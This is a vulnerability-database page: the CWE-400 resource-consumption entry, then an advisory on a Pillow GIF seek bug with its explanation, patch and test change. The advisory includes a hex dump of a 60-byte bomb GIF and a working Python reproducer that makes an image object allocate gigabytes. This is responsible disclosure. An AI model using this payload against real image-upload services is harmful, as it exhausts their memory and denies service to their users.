Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7207 vulnerabilities reference this CWE, most recent first.

GHSA-65QM-JVMH-6PQG

Vulnerability from github – Published: 2026-10-20 20:53 – Updated: 2026-10-20 20:53
VLAI
Summary
Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Details
============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile._seek() lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only after storing it on the object:

# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS (178 956 970 px by default), but by then self._size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and _seek(0) only ever grows _size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call _decompression_bomb_check(dispose_size) before the corresponding Image.core.fill(), and TiffImagePlugin.load_prepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer:

  • Retrying im.seek(1). The failed _seek left self.__offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.load_prepare(): python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0) which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB).
  • im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.

n_frames / is_animated are not affected: they call _seek(frame, update_image=False), which skips the _size assignment (the file above reports n_frames == 2, is_animated == True and leaves im.size at 1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM.

  1. setup_env() caps the process address space at 3 GiB with RLIMIT_AS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it.
  2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would.
  3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000).
  4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. load_prepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to _decompression_bomb_check(), and only then assigned to self._size, matching the order of the two dispose_size checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point:

--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated go through update_image=False and are unaffected. The patch also extends test_exception_gif_extents in Tests/test_decompression_bomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to last_frame, so that a retried seek() does not resume parsing from the middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)

+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

The reproducer

Reproducer — repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS


def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"


def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )


def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024


def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im


def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False


im = setup_env()
raised = poc(im)

# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.2.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T20:53:36Z",
    "nvd_published_at": "2026-10-19T22:17:07Z",
    "severity": "HIGH"
  },
  "details": "```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame\u0027s extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070.\n\nIn the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated\n    Image._decompression_bomb_check(self._size)                 # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00               another 1x1 frame\n3b                                              trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n  file pointer just past the 9-byte descriptor, so the retry parses whatever\n  follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()`\n  then runs `GifImageFile.load_prepare()`:\n  ```python\n  # src/PIL/GifImagePlugin.py:452-456\n  elif self.mode in (\"RGB\", \"RGBA\"):\n      self._prev_im = self.im\n      if self._frame_palette:\n          self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n  ```\n  which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a\n  1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n  one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n  common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n  from `im.size` as well (measured on an object poisoned to 20000\u00d720000:\n  `rotate(45, expand=True)` completes and touches 776 MiB;\n  `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n  `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n  fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96\u00d7 the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1\u00d71).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` \u2014 a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` \u2014 and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n   `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n   the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n   by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so\n   `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n   descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error\n   threshold). A real 1\u00d71 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n   an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n   to the real pixel buffer `im.im.size`. If the rejected frame had left the\n   object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n   `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n   parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the\n   process\u0027s peak RSS before and after. `load_prepare()` sizes its\n   `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n   1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -\u003e 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more than 1000 MiB\nwhile loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e 